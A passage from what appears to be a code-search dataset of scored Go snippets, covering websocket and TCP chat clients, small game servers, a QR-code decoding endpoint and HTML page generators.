gowebsocket.New(\"ws://localhost:8080/\")\n\n\tsocket.OnConnected = func(socket gowebsocket.Socket) {\n\t\tlog.Println(\"Connected to server\")\n\t}\n\n\tsocket.OnConnectError = func(err error, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Received connect error \", err)\n\t}\n\n\tsocket.OnTextMessage = func(message string, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Received message \" + message)\n\t}\n\n\tsocket.OnBinaryMessage = func(data []byte, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Received binary data \", data)\n\t}\n\n\tsocket.OnPingReceived = func(data string, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Received ping \" + data)\n\t}\n\n\tsocket.OnPongReceived = func(data string, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Received pong \" + data)\n\t}\n\n\tsocket.OnDisconnected = func(err error, socket gowebsocket.Socket) {\n\t\tlog.Println(\"Disconnected from server \")\n\t}\n\n\tsocket.Connect()\n\n\tscanner := bufio.NewScanner(os.Stdin)\n\tfor scanner.Scan() {\n\n\t\tmsg := scanner.Text()\n\n\t\tif msg == \"quit\" {\n\t\t\treturn\n\t\t}\n\n\t\tsocket.SendText(msg)\n\n\t}\n\n}", "title": "" }, { "docid": "2d369fe86b1aa5775a45f40066c9d988", "score": "0.49915585", "text": "func gameHandler(w http.ResponseWriter, r *http.Request) {\n\t// Set Message\n\tmsg := message{Message: \"Guess a number between 1 & 20!\"}\n\t// Guess template file that will display the message struct\n\tt, _ := template.ParseFiles(\"guess.tmpl\") \n\tt.Execute(w,msg) //use the template to render the HTML\n}", "title": "" }, { "docid": "4e7651680dffccdb2152a68a1221a0d2", "score": "0.49914858", "text": "func main() {\n\tinputReader := bufio.NewReader(os.Stdin)\n\tfmt.Print(\"Firstly, what's your name? (only upper name): \")\n\trawName, err := inputReader.ReadString('\\n')\n\tcheck(err)\n\tclientName := strings.ToUpper(strings.Trim(rawName, \"\\n\"))\n\n\t// just dial to :8080\n\tconn, err := net.Dial(\"tcp\", \"localhost:8080\")\n\tcheck(err)\n\tdefer conn.Close()\n\n\tvar rawMsg []byte\n\tfor {\n\t\tfmt.Print(\"Enter message (press Q to finish): \")\n\t\tinput, err := inputReader.ReadBytes('\\n')\n\t\tcheck(err)\n\n\t\tinput = bytes.Trim(input, \"\\n\") //trim '\\n'\n\n\t\tif string(input) == \"Q\" {\n\t\t\tclientMsg := clientName + \" says: \" + string(rawMsg)\n\t\t\t_, err := conn.Write([]byte(clientMsg))\n\t\t\tcheck(err)\n\t\t\tfmt.Printf(\"Message has been sent: %s\\n\", clientMsg)\n\t\t\treturn\n\t\t}\n\n\t\trawMsg = append(rawMsg, input...)\n\t}\n}", "title": "" }, { "docid": "6e221db480e9862e7fce3153c69e5ed6", "score": "0.49803448", "text": "func Index(w http.ResponseWriter, req *http.Request) {\n\tfmt.Fprintf(w, \"Hey Brendan!\")\n}", "title": "" }, { "docid": "c0f177d04beebb737c980ed9386d0bff", "score": "0.49690437", "text": "func main() {\r\n\t// The first thing to do is to associate the hello component with a path.\r\n\t//\r\n\t// This is done by calling the Route() function, which tells go-app what\r\n\t// component to display for a given path, on both client and server-side.\r\n\tapp.Route(\"/\", &qreader{})\r\n\t// Once the routes set up, the next thing to do is to either launch the app\r\n\t// or the server that serves the app.\r\n\t//\r\n\t// When executed on the client-side, the RunWhenOnBrowser() function\r\n\t// launches the app, starting a loop that listens for app events and\r\n\t// executes client instructions. Since it is a blocking call, the code below\r\n\t// it will never be executed.\r\n\t//\r\n\t// On the server-side, RunWhenOnBrowser() does nothing, which allows the\r\n\t// writing of server logic without needing precompiling instructions.\r\n\tapp.RunWhenOnBrowser()\r\n\r\n\t// Finally, launching the server that serves the app is done by using the Go\r\n\t// standard HTTP package.\r\n\t//\r\n\t// The Handler is an HTTP handler that serves the client and all its\r\n\t// required resources to make it work into a web browser. Here it is\r\n\t// configured to handle requests with a path that starts with \"/\".\r\n\thttp.Handle(\"/\", &app.Handler{\r\n\t\tAuthor: \"abcdm\",\r\n\t\tName: \"qreader\",\r\n\t\tDescription: \"An Hello World! example\",\r\n\t\tStyles: []string{\r\n\t\t\t\"/web/tailwind.css\", // Loads hello.css file.\r\n\t\t},\r\n\t})\r\n\r\n\thttp.HandleFunc(\"/decode\", func(rw http.ResponseWriter, r *http.Request) {\r\n\t\trw.Header().Set(\"Content-Type\", \"application/json\")\r\n\t\ttype Barcode struct {\r\n\t\t\tTip string `json:\"tip\"`\r\n\t\t\tCode string `json:\"code\"`\r\n\t\t\tErrmsg string `json:\"err\"`\r\n\t\t}\r\n\t\tvar data string\r\n\t\tvar bc = Barcode{Tip: \"qrcode\", Code: \"?\", Errmsg: \"ok\"}\r\n\t\terr := r.ParseForm()\r\n\t\tif err != nil {\r\n\t\t\tlog.Println(err)\r\n\t\t\tbc = Barcode{Tip: \"\", Code: \"\", Errmsg: err.Error()}\r\n\t\t}\r\n\r\n\t\tdata = r.PostFormValue(\"data\")\r\n\t\tlog.Printf(\"%v\\n\", data)\r\n\t\tdataURL, err := dataurl.DecodeString(data)\r\n\t\tif err != nil {\r\n\t\t\tlog.Println(err)\r\n\t\t\tbc = Barcode{Tip: \"none\", Code: \"?\", Errmsg: err.Error()}\r\n\t\t} else {\r\n\t\t\trdr := strings.NewReader(string(dataURL.Data))\r\n\t\t\timg, _, _ := image.Decode(rdr)\r\n\r\n\t\t\t// prepare BinaryBitmap\r\n\t\t\tbmp, _ := gozxing.NewBinaryBitmapFromImage(img)\r\n\r\n\t\t\t// decode image\r\n\t\t\tqrReader := qrcode.NewQRCodeReader()\r\n\t\t\tresult, err := qrReader.Decode(bmp, nil)\r\n\t\t\tif err != nil {\r\n\t\t\t\tbc = Barcode{Tip: \"none\", Code: \"?\", Errmsg: err.Error()}\r\n\t\t\t} else {\r\n\t\t\t\tbc.Code = result.String()\r\n\t\t\t\tbc.Tip = \"qrcode\"\r\n\t\t\t}\r\n\t\t}\r\n\t\tlog.Printf(\"%v\\n\", bc)\r\n\t\trw.WriteHeader(http.StatusCreated)\r\n\t\tenc := json.NewEncoder(rw)\r\n\t\tif err := enc.Encode(bc); err != nil {\r\n\t\t\tlog.Println(err)\r\n\t\t}\r\n\t\t//json.Marshal(bc)\r\n\t})\r\n\r\n\tif err := http.ListenAndServeTLS(\":8000\", \"local.crt\", \"local.key\", nil); err != nil {\r\n\t\tlog.Fatal(err)\r\n\t}\r\n}", "title": "" }, { "docid": "c4f59047cc870c5020ff413d55485c62", "score": "0.4968646", "text": "func main() {\n\t// set up graphics (hardcoded dimensions for now)\n\t// change dimensions to match primary display\n\tscreenWidth := 1920\n\tscreenHeight := 1080\n\tscreenRect := image.Rect(0,0,screenWidth,screenHeight)\n\tscreenImage := image.NewRGBA(screenRect)\n\tframeStatusChan := make(chan bool)\n\n\t// should add exit condition for recordToStream() here\n\tfmt.Println(\"Starting application... ctrl-c to exit...\")\n\n\t// set up TCP server for receiving data\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:8080\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer ln.Close()\n\t// listen for connections in background\n\tgo func() {\n\t\tfor {\n\t\t\tconn, err := ln.Accept()\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tgo handleConnection(conn, frameStatusChan, screenImage.Pix)\n\t\t}\n\t}()\n\n\t// start recording\n\tgo recordToStream()\n\n\t// wait for frame status from reader (single frame)\n\t<-frameStatusChan\n\n\t// swap (swizzle) blue and red pixel values\n\tConvertBGRA(screenImage.Pix)\n\n\t// main shiny graphics\n\tdriver.Main(func(s screen.Screen) {\n\t\tw := widget.NewSheet(widget.NewImage(screenImage, screenImage.Bounds()))\n\t\tif err := widget.RunWindow(s, w, &widget.RunWindowOptions{\n\t\t\tNewWindowOptions: screen.NewWindowOptions{\n\t\t\t\tWidth: screenWidth,\n\t\t\t\tHeight: screenHeight,\n\t\t\t\tTitle: \"Scrap Shiny Example\",\n\t\t\t},\n\t\t}); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t})\n}", "title": "" }, { "docid": "987d35b7de74145068df597c9481155c", "score": "0.4964945", "text": "func HandleWinnerRequest(w http.ResponseWriter, r *http.Request) {\n\tleague, year, player := getRequestWinnerInfo(r)\n\tlog.Println(\"Winner:\", r.Method, league, year, player)\n\tswitch r.Method {\n\tcase http.MethodGet:\n\t\thandleSuccess(&w, controller.GetWinner(league, year, player))\n\t\tbreak\n\tcase http.MethodPost:\n\t\tvar request data.EditWinnerRequest\n\t\terr := json.NewDecoder(r.Body).Decode(&request)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\thandleSuccess(&w, controller.EditWinner(league, year, player, request))\n\t\tbreak\n\tcase http.MethodDelete:\n\t\tvar request data.DeleteWinnerRequest\n\t\terr := json.NewDecoder(r.Body).Decode(&request)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\thandleSuccess(&w, controller.DeleteWinner(league, year, player, request))\n\t\tbreak\n\tdefault:\n\t\thandleError(&w, 405, \"Method not allowed\", \"Method not allowed\", nil)\n\t\tbreak\n\t}\n}", "title": "" }, { "docid": "27e1c4863e1ebd805f65efdbdd391a45", "score": "0.49644753", "text": "func RunHTTPServer() {\n\tfmt.Printf(\"application started at: %s\\n\", time.Now().Format(time.RFC822))\n\tvar starttime = time.Now().Unix()\n\truntime.GOMAXPROCS(8)\n\n\thub.Init()\n\n\thttp.HandleFunc(\"/send\", httpHandler)\n\thttp.HandleFunc(\"/events/sse\", httpHandler)\n\thttp.HandleFunc(\"/events/lp\", httpHandler)\n\thttp.Handle(\"/events/ws\", websocket.Handler(websocketHandler))\n\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.ServeFile(w, r, r.URL.Path[1:])\n\t})\n\t// http.Handle(\"/\", http.FileServer(http.Dir(\"./public/\")))\n\n\tgo http.ListenAndServe(\"localhost:5001\", nil)\n\n\tln, err := net.ListenTCP(\"tcp\", &net.TCPAddr{\n\t\tPort: 8001,\n\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\n\tgo listenForTelnet(ln)\n\n\tvar input string\n\tfor input != \"exit\" {\n\t\t_, _ = fmt.Scanf(\"%v\", &input)\n\t\tif input != \"exit\" {\n\t\t\tswitch input {\n\t\t\tcase \"\", \"0\", \"5\", \"help\", \"info\":\n\t\t\t\tfmt.Print(\"you can type \\n1: \\\"exit\\\" to kill this application\")\n\t\t\t\tfmt.Print(\"\\n2: \\\"clients\\\" to show the amount of connected clients\")\n\t\t\t\tfmt.Print(\"\\n3: \\\"system\\\" to show info about the server\")\n\t\t\t\tfmt.Print(\"\\n4: \\\"time\\\" to show since when this application is running\")\n\t\t\t\tfmt.Print(\"\\n5: \\\"help\\\" to show this information\")\n\t\t\t\tfmt.Println()\n\t\t\tcase \"1\", \"exit\", \"kill\":\n\t\t\t\tfmt.Println(\"application get killed in 5 seconds\")\n\t\t\t\tinput = \"exit\"\n\t\t\t\ttime.Sleep(5 * time.Second)\n\t\t\tcase \"2\", \"clients\":\n\t\t\t\tfmt.Printf(\"connected to %d clients\\n\", len(hub.clients))\n\t\t\tcase \"3\", \"system\":\n\t\t\t\tfmt.Printf(\"CPU cores: %d\\nGo calls: %d\\nGo routines: %d\\nGo version: %v\\nProcess ID: %v\\n\", runtime.NumCPU(), runtime.NumCgoCall(), runtime.NumGoroutine(), runtime.Version(), syscall.Getpid())\n\t\t\tcase \"4\", \"time\":\n\t\t\t\tfmt.Printf(\"application running since %d minutes\\n\", (time.Now().Unix()-starttime)/60)\n\t\t\t}\n\t\t}\n\t}\n\tos.Exit(0)\n}", "title": "" }, { "docid": "706280f6c88a7d73c80c8c55144fcc0c", "score": "0.49439755", "text": "func RenderGamePage(db *sqlx.DB, r *http.Request) (template.HTML, error) {\n\tr.ParseForm()\n\tvar AlertMessage template.HTML\n\tif len(r.PostForm) > 0 {\n\t\t// User has submitted a game page data. try to insert in to db or return error message\n\t\tfail := false\n\t\tinsertSQL := `INSERT INTO games \n\t\t\t(team_1_p1, team_1_p2, team_2_p1, team_2_p2,\n\t\t\tteam_1_half, team_2_half, team_1_final, team_2_final) \n\t\t\tVALUES (?, ?, ?, ?, ?, ?, ?, ?);`\n\t\tt1Final, err1 := strconv.Atoi(r.PostFormValue(\"t1_final\"))\n\t\tt2Final, err2 := strconv.Atoi(r.PostFormValue(\"t2_final\"))\n\t\tif err1 != nil || err2 != nil {\n\t\t\tlog.Println(\"could not parse final scores from new game\")\n\t\t\tfail = true\n\t\t} else {\n\t\t\tvar (\n\t\t\t\tres sql.Result\n\t\t\t\terr error\n\t\t\t)\n\t\t\tif t1Final > t2Final {\n\t\t\t\tres, err = db.Exec(insertSQL, r.PostFormValue(\"t1_p1\"), r.PostFormValue(\"t1_p2\"),\n\t\t\t\t\tr.PostFormValue(\"t2_p1\"), r.PostFormValue(\"t2_p2\"),\n\t\t\t\t\tr.PostFormValue(\"t1_half\"), r.PostFormValue(\"t2_half\"),\n\t\t\t\t\tr.PostFormValue(\"t1_final\"), r.PostFormValue(\"t2_final\"))\n\t\t\t} else {\n\t\t\t\tres, err = db.Exec(insertSQL, r.PostFormValue(\"t2_p1\"), r.PostFormValue(\"t2_p2\"),\n\t\t\t\t\tr.PostFormValue(\"t1_p1\"), r.PostFormValue(\"t1_p2\"),\n\t\t\t\t\tr.PostFormValue(\"t2_half\"), r.PostFormValue(\"t1_half\"),\n\t\t\t\t\tr.PostFormValue(\"t2_final\"), r.PostFormValue(\"t1_final\"))\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\tfail = true\n\t\t\t}\n\t\t\trowCnt, err := res.RowsAffected()\n\t\t\tif err != nil || rowCnt <= 0 {\n\t\t\t\tfail = true\n\t\t\t}\n\t\t}\n\t\t// show message alert\n\t\tif fail {\n\t\t\tb, err := ioutil.ReadFile(\"webpage/game_input/fail_alert.html\")\n\t\t\tif err != nil {\n\t\t\t\tAlertMessage = template.HTML(fallBackAlert)\n\t\t\t}\n\t\t\tAlertMessage = template.HTML(string(b))\n\t\t} else {\n\t\t\tb, err := ioutil.ReadFile(\"webpage/game_input/success_alert.html\")\n\t\t\tif err != nil {\n\t\t\t\tAlertMessage = template.HTML(fallBackAlert)\n\t\t\t}\n\t\t\tAlertMessage = template.HTML(string(b))\n\t\t}\n\t}\n\n\topts := CreatePlayerOptions(db)\n\tg := &gameInfo{PlayerOptions: opts, Alert: AlertMessage}\n\n\tt, err := template.ParseFiles(\"webpage/game_input/game_template.html\")\n\tif err != nil {\n\t\treturn template.HTML(\"\"), err\n\t}\n\tvar buff bytes.Buffer\n\tif err = t.Execute(&buff, g); err != nil {\n\t\treturn template.HTML(\"\"), err\n\t}\n\treturn template.HTML(buff.String()), nil\n}", "title": "" }, { "docid": "56af57e78e37c26453953b96c5d6343d", "score": "0.4888852", "text": "func main() {\n\tgo rpcServer()\n\tgo rpcClient()\n\n\tvar input string\n\tfmt.Scanln(&input)\n\tfmt.Println(\"You just input: \", input)\n}", "title": "" }, { "docid": "ddda2b9475bfae97effbae9d4deee234", "score": "0.4886809", "text": "func InitializeHtml(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, \"<body><h3>1.- Upload a new key-value pair</h3>\" + \n\t\t\t\t\"<form action=\\\"/chordnode/post/\\\" method=\\\"post\\\" >\" + \n\t\t\t\t \"Key: <input type=\\\"text\\\" name=\\\"key_value\\\"><br>\" + \n\t\t\t\t \"Value: <input type=\\\"text\\\" name=\\\"value_value\\\"><br>\" + \n\t\t\t\t \"<input type=\\\"submit\\\" value=\\\"Submit\\\">\" + \n\t\t\t\t\"</form>\" + \n\t\t\t\t\n\t\t\t\t\"<h3>2.- Returns the value for a specific key</h3>\" + \n\t\t\t\t\"<form action=\\\"/chordnode/get/\\\" method=\\\"post\\\" >\" + \n\t\t\t\t \"Key: <input type=\\\"text\\\" name=\\\"key_value\\\"><br>\" + \n\t\t\t\t \"<input type=\\\"submit\\\" value=\\\"Submit\\\">\" + \n\t\t\t\t\"</form>\" + \n\t\t\t\t\n\t\t\t\t\"<h3>3.- Update the value for a specific key</h3>\" + \n\t\t\t\t\"<form action=\\\"/chordnode/put/\\\" method=\\\"post\\\" >\" + \n\t\t\t\t \"Key: <input type=\\\"text\\\" name=\\\"key_value\\\"><br>\" + \n\t\t\t\t \"Value: <input type=\\\"text\\\" name=\\\"value_value\\\"><br>\" + \n\t\t\t\t \"<input type=\\\"submit\\\" value=\\\"Submit\\\">\" + \n\t\t\t\t\"</form>\" + \n\t\t\t\t\n\t\t\t\t\"<h3>4.- Delete a key-value pair with key</h3>\" + \n\t\t\t\t\"<form action=\\\"/chordnode/delete/\\\" method=\\\"post\\\" >\" + \n\t\t\t\t \"Key: <input type=\\\"text\\\" name=\\\"key_value\\\"><br>\" + \n\t\t\t\t \"<input type=\\\"submit\\\" value=\\\"Submit\\\">\" + \n\t\t\t\t\"</form>\" + \n\t\t\t\t\n\t\t\t\t\"<p>Click on the submit button, and the input will be sent to the Chord network</p></body>\")\n}", "title": "" }, { "docid": "fb32e5bf0bb2c7ec78bb076c5f1b37c9", "score": "0.48846948", "text": "func handlePlayers(player1 net.Conn, player2 net.Conn){\t\t// the goroutine\n\n\tvar size string;\t\t\t\t\t\t// tamanho do tabuleiro\n\tvar nomePlayer1 string;\t\t\t\t\t// nome do jogador 1\n\tvar nomePlayer2 string;\t\t\t\t\t// nome do jogador 2\n\tvar messagePlayer1 string;\t\t\t\t// messagens do jogador 1\n\tvar messagePlayer2 string;\t\t\t\t// mensagens do jogador 2\n\n\tplayer1.Write([]byte(\"nome\\n\"));\t\t\t\t\t\t\t// envia ao primeiro que se conectou o nome\n\tnomePlayer1,_ = bufio.NewReader(player1).ReadString('\\n');\n\t\n\tplayer2.Write([]byte(\"nome\\n\"));\t\t\t\t\t\t\t// apos receber resposta envia este\n\tnomePlayer2,_ = bufio.NewReader(player2).ReadString('\\n');\n\n\tnomePlayer1,nomePlayer2 = splitName(nomePlayer1,nomePlayer2);\t// faz split do comando + nome\n\tfor true{\n\t\tfmt.Print(\"Tamanho do jogo: \");\n\t\tfmt.Scan(&size);\t\t\t\t\t\t\t\t\t\t\t// scan for input\n\t\tif _, err := strconv.Atoi(size); err == nil{\t\t\t\t// so permite input valido\n\t\t\tfmt.Print(\"\\n\");\n\t\t\tbreak;\n\t\t} \t\n\t}\n\n\ttime.Sleep(100 * time.Millisecond);\n\tplayer1.Write([]byte(\"tamanho \"+size+\"\\n\"));\t\t// envia aos jogadores o tamanho do tabuleiro\n\tplayer2.Write([]byte(\"tamanho \"+size+\"\\n\"));\t\t//\n\n\ttime.Sleep(100 * time.Millisecond);\n\tplayer1.Write([]byte(\"comeca X\"+\"\\n\"));\t\t\t\t// envia aos jogadores quem e' quem\n\tplayer2.Write([]byte(\"comeca O\"+\"\\n\"));\t\t\t\t// o primeiro a se conectar e' sempre o X\n\n\ttime.Sleep(100 * time.Millisecond);\n\tplayer1.Write([]byte(\"joga\\n\"));\t\t\t\t// primeiro a jogar e' o player1\n\n\tvar endGame = false;\n\n\tfor !endGame{\n\n\t\tendGame = handleRequests(player1,nomePlayer1,player2,nomePlayer2,messagePlayer1);\t// redireciona o output para o jogador 2\n\t\tendGame = handleRequests(player2,nomePlayer2,player1,nomePlayer1,messagePlayer2);\t// redireciona o output para o jogador 1\n\n\t}\n\n\tfmt.Println(\"\\n\\nGame between \"+nomePlayer1 + \"and \"+nomePlayer2+\" has ended\\n\\n\");\n\t\n\tplayer1.Close();\t\t// fecha a conecao\n\tplayer2.Close();\t\t//\n}", "title": "" }, { "docid": "23ca273d1dc5fc24bf275c347b7e049f", "score": "0.48819286", "text": "func serveWs(id string, w http.ResponseWriter, r *http.Request) {\n\tconn, err := upgrader.Upgrade(w, r, nil)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tclient := &Client{hub: hub, conn: conn, send: make(chan []byte, 256)}\n\tclient.hub.register <- client\n\n\tvar pos string\n\t// Get game from DB\n\terr = db.View(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(\"challenges\"))\n\t\tif bucket == nil {\n\t\t\treturn errors.New(\"No bucket\")\n\t\t}\n\t\tval := bucket.Get([]byte(id))\n\t\tpos = string(val)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\t// Set up board\n\tgame := ghess.NewBoard()\n\terr = game.LoadFen(pos)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tgo client.writePump(game)\n\t// So every time this handler is called\n\t// the client reads the pump\n\tclient.readPump()\n}", "title": "" }, { "docid": "4acaa379caf119984f3d591170e48cbf", "score": "0.48770738", "text": "func (ps *playerService) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\t// we attach the logger from the request to the context so we do need\n\t// to pass it as an parameter\n\tctx, cancel := context.WithTimeout(r.Context(), ps.timeout)\n\tdefer cancel()\n\tctx = loggerFromRequest(r).WithContext(ctx)\n\n\t// add a player\n\t// new players are benched by default\n\tif r.Method == http.MethodPost {\n\t\t// we expect a request body that represents a player or we consider\n\t\t// the request as invalid\n\t\tvar player store.Player\n\t\tdecoder := json.NewDecoder(r.Body)\n\t\tdecoder.DisallowUnknownFields() // catch unwanted fields\n\t\tif err := decoder.Decode(&player); err != nil {\n\t\t\twriteError(w, r, errBadRequest, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tplayer.Status = Benched // benched by default\n\t\tps.insert(ctx, w, r, player)\n\t\treturn\n\t}\n\n\t// modify a player\n\tif r.Method == http.MethodPatch {\n\t\t_, route := path.Split(r.URL.Path)\n\t\tswitch route {\n\t\tcase \"update\":\n\t\t\t// we expect a request body that represents a player with the new\n\t\t\t// rosterID or we consider the request as invalid\n\t\t\tvar player store.Player\n\t\t\tdecoder := json.NewDecoder(r.Body)\n\t\t\tdecoder.DisallowUnknownFields() // catch unwanted fields\n\t\t\tif err := decoder.Decode(&player); err != nil {\n\t\t\t\twriteError(w, r, err, http.StatusInternalServerError)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// here we chose which fields we want to update\n\t\t\t// players always get benched when they are added to a roster\n\t\t\trosterUpdate := store.Player{\n\t\t\t\tPlayerID: player.PlayerID,\n\t\t\t\tRosterID: player.RosterID,\n\t\t\t\tStatus: Benched,\n\t\t\t}\n\t\t\tps.update(ctx, w, r, rosterUpdate)\n\t\t\treturn\n\n\t\tcase \"change\":\n\t\t\t// we expect a request body that contains two players or we\n\t\t\t// consider the request as invalid\n\t\t\tvar players store.PlayerChange\n\t\t\tdecoder := json.NewDecoder(r.Body)\n\t\t\tdecoder.DisallowUnknownFields() // catch unwanted fields\n\t\t\tif err := decoder.Decode(&players); err != nil {\n\t\t\t\twriteError(w, r, err, http.StatusInternalServerError)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tps.change(ctx, w, r, players)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// note, this is non-reachable code whith the current mux routing setup\n\twriteError(w, r, errNotFound, http.StatusNotFound)\n}", "title": "" }, { "docid": "d14078041994291e43705b5de1f98f6b", "score": "0.486898", "text": "func (t *TVTerminal) ListenShell(conn *websocket.Conn, done chan bool) {\n\n\tlabel := tview.NewTextView().SetText(\"Please enter a nickname: \") // Create label\n\tinput := tview.NewInputField().SetLabel(\" \") // Create input field\n\tbtn := tview.NewButton(\"Submit\") // Create submit button\n\n\tbx := tview.NewBox() // Create empty Box to pad each side of appGrid\n\n\tappGrid := tview.NewGrid(). // Create Grid containing the nickname setting widget\n\t\t\t\t\tSetColumns(-1, 24, 16, -1).\n\t\t\t\t\tSetRows(-1, 2, 3, -1).\n\t\t\t\t\tAddItem(bx, 0, 0, 3, 1, 0, 0, false). // Left - 3 rows\n\t\t\t\t\tAddItem(bx, 0, 1, 1, 1, 0, 0, false). // Top - 1 row\n\t\t\t\t\tAddItem(bx, 0, 3, 3, 1, 0, 0, false). // Right - 3 rows\n\t\t\t\t\tAddItem(bx, 3, 1, 1, 1, 0, 0, false). // Bottom - 1 row\n\t\t\t\t\tAddItem(label, 1, 1, 1, 1, 0, 0, false).\n\t\t\t\t\tAddItem(input, 1, 2, 1, 1, 0, 0, false).\n\t\t\t\t\tAddItem(btn, 2, 1, 1, 2, 0, 0, false)\n\n\tmembers := tview.NewTextView(). // Create text box for connected members\n\t\t\t\t\tSetDynamicColors(true).\n\t\t\t\t\tSetRegions(true).\n\t\t\t\t\tSetScrollable(true).\n\t\t\t\t\tSetChangedFunc(func() {\n\t\t\tt.app.Draw()\n\t\t})\n\n\tprompt := tview.NewInputField() // Create input field for chat prompt\n\n\tchatGrid := tview.NewGrid(). // Create Grid containing the chat's widgets\n\t\t\t\t\tSetColumns(-10, 0).\n\t\t\t\t\tSetRows(-120, 0).\n\t\t\t\t\tSetBorders(true).\n\t\t\t\t\tAddItem(t.history, 0, 0, 1, 1, 0, 0, false).\n\t\t\t\t\tAddItem(members, 0, 1, 1, 1, 0, 0, false).\n\t\t\t\t\tAddItem(prompt, 1, 0, 2, 1, 0, 0, false)\n\t// submittedName is toggled each time Enter is pressed\n\tvar submittedName bool\n\tvar nick string\n\n\t// Capture user input\n\tt.app.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey {\n\t\t// Anything handled here will be executed on the main thread\n\t\tswitch event.Key() {\n\t\tcase tcell.KeyEnter:\n\n\t\t\t// Initial screen - set nickname\n\t\t\tif !submittedName {\n\t\t\t\tname := input.GetText()\n\t\t\t\tif strings.TrimSpace(name) == \"\" { // Stay on this screen until the user enters a valid nickname\n\t\t\t\t\tinput.SetText(\"\")\n\t\t\t\t} else { // Go to the chat room!\n\t\t\t\t\tsubmittedName = true\n\t\t\t\t\tnick = name\n\t\t\t\t\tprompt.SetLabel(fmt.Sprintf(\"%s: \", name))\n\t\t\t\t\tt.app.SetRoot(chatGrid, true).SetFocus(prompt)\n\t\t\t\t\tmsg := chat.Message{Username: nick, Command: \"/nick\", Message: nick}\n\t\t\t\t\tconn.WriteJSON(&msg)\n\t\t\t\t}\n\n\t\t\t} else { // In all other cases, handle chat prompt input\n\n\t\t\t\t// Clear the input field\n\t\t\t\tline := prompt.GetText()\n\t\t\t\tprompt.SetText(\"\")\n\n\t\t\t\tmsg := ParseTerminalMessage(line, nick)\n\t\t\t\terr := conn.WriteJSON(msg)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"read:\", err)\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\n\t\t\t\t// Display appGrid and focus the input field\n\t\t\t\tt.app.SetRoot(chatGrid, true).SetFocus(prompt)\n\t\t\t}\n\t\t\treturn nil\n\t\tcase tcell.KeyEsc:\n\t\t\t// Exit the application\n\t\t\tt.app.Stop()\n\t\t\treturn nil\n\t\t}\n\n\t\treturn event\n\t})\n\n\t// Set the grid as the application root and focus the input field\n\tt.app.SetRoot(appGrid, true).SetFocus(input)\n\n\t// Run the application\n\terr := t.app.Run()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n}", "title": "" }, { "docid": "74789dd18313c6bea7b79b065ebb9301", "score": "0.48568252", "text": "func main() {\n\tgo runServer()\n\tshowAndWaitWindow()\n}", "title": "" }, { "docid": "72e0db64770d04eda2011690a69c9d50", "score": "0.48496765", "text": "func (g Game) GenHTML(date string) {\n\tfo, err := os.Create(date + \".html\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer fo.Close()\n\tw := bufio.NewWriter(fo)\n\tfmt.Fprintf(w, \"<html>\\n\")\n\tfmt.Fprintf(w, \"<body>\")\n\tfmt.Fprintf(w, \"<b>Date </b>%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>Won by </b> %s \", g.GameDate, g.WonBy)\n\n\ti1bat, i1bwl, i1dc := inningsTable(g.Team1)\n\ti2bat, i2bwl, i2dc := inningsTable(g.Team2)\n\tteam1Name := \"Team1\"\n\tteam2Name := \"Team2\"\n\n\tfmt.Fprintf(w, \"<table>\")\n\n\t//header\n\tfmt.Fprintf(w, \"<tr>\\n\")\n\n\tfmt.Fprintf(w, \"<th bgcolor=\\\"#d9d9d9\\\">\\n\")\n\tfmt.Fprintf(w, \"Innings of %s\\n\", team1Name)\n\tfmt.Fprintf(w, \"</th>\\n\")\n\n\tfmt.Fprintf(w, \"<th bgcolor=\\\"#d9d9d9\\\">\\n\")\n\tfmt.Fprintf(w, \"Innings of %s\\n\", team2Name)\n\tfmt.Fprintf(w, \"</th>\\n\")\n\n\tfmt.Fprintf(w, \"</tr>\\n\")\n\n\t//batting\n\tfmt.Fprintf(w, \"<tr>\\n\")\n\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i1bat)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i2bat)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\n\tfmt.Fprintf(w, \"</tr>\\n\")\n\n\t//bowling\n\tfmt.Fprintf(w, \"<tr>\\n\")\n\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i1bwl)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i2bwl)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\n\tfmt.Fprintf(w, 